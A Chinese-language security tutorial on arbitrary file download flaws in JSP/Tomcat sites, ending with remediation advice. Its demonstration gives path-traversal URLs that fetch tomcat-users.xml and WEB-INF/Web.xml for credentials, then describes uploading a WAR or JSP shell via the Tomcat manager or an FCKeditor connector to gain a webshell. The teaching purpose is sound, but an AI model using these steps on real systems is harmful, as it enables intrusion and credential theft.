1.1 漏洞描述
一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。
1.2 漏洞危害
下载服务器任意文件,如脚本代码,服务及系统配置文件等;可用得到的代码进一步代码审计,得到更多可利用漏洞
1.3 漏洞演示
该部分主要讲述两种简单的利用方法,下载tomcat的配置文件和下载网站本身的源代码。
1)Jsp站点的一个下载点:
http://www.test.cn/down.jsp?filename=%D5%D0%B1%EA%CF%EE%C4%BF%C9%EA%C7%EB1.doc&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/webapps/ZTBWZ/upload/%D5%D0%B1%EA%CF%EE%C4%BF%C9%EA%C7%EB1.doc
可以看到该下载点,有两个参数,其实是一样的,很容易看出path是待下载文件的在服务器上的绝对路径。而且网站放到tomcat的安装路径下,这一点很重要,说明可以直接访问tomcat的manager/html
请求: http://www.test.cn/manager/html
可以看到访问正常,输入用户名和密码就可以登录。
因此下一步就是下载tomcat的配置文件tomcat-users.xml(里面保存登录的用户名和密码)
首先需要对tomcat配置有些了解,具体配置如下:
tomcat-users.xml 在conf文件下,这样就可以直接使用下载点下载该文件。
因此构造url如下:
http://www.test.cn/down.jsp?filename=tomcat-users.xml&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/conf/tomcat-users.xml
下载成功:
打开该文件获得用户名和密码
登录成功
下面直接,上传一个war文件,就可以获得webshell,完成了一次简单的测试。
2)下载网站本身源代码
下载点: http://test.edu.cn/file.do?method=downFile&fileName=20080505094144.doc
测试一下不能访问http://test.edu.cn/manager/html
上述方法失效。
首先下载网站的配置文件jsp的配置文件放在根目录WEB-INF/Web.xml下(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)
访问:
http://test/file.do?method=downFile&fileName=../WEB-INF/Web.xml
下载后打开,关键内容:
后台使用fckeditor编辑器,该编辑器漏洞很多,直接使用该编辑器直接上传路径
http://test//admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=image&Connector=connectors/jsp/connector
选择一个jspshell直接上传,获得webshell,没有任何限制
系统权限,渗透完成。
1.4 修复方案
1)过滤点(.)使用户在url中不能回溯上级目录
2)正则严格判断用户输入参数的格式
3)将下载区独立出来,放在项目路径外,给每个下载资源固定的URL,而不是所有的下载资源都是统一的URL:http://www.test.com/download?filename=文件名
1.5 相关参考
http://www.cnblogs.com/Time-Cat00/p/5810770.html
http://h.evil.blog.163.com/blog/static/997935042012223112435259/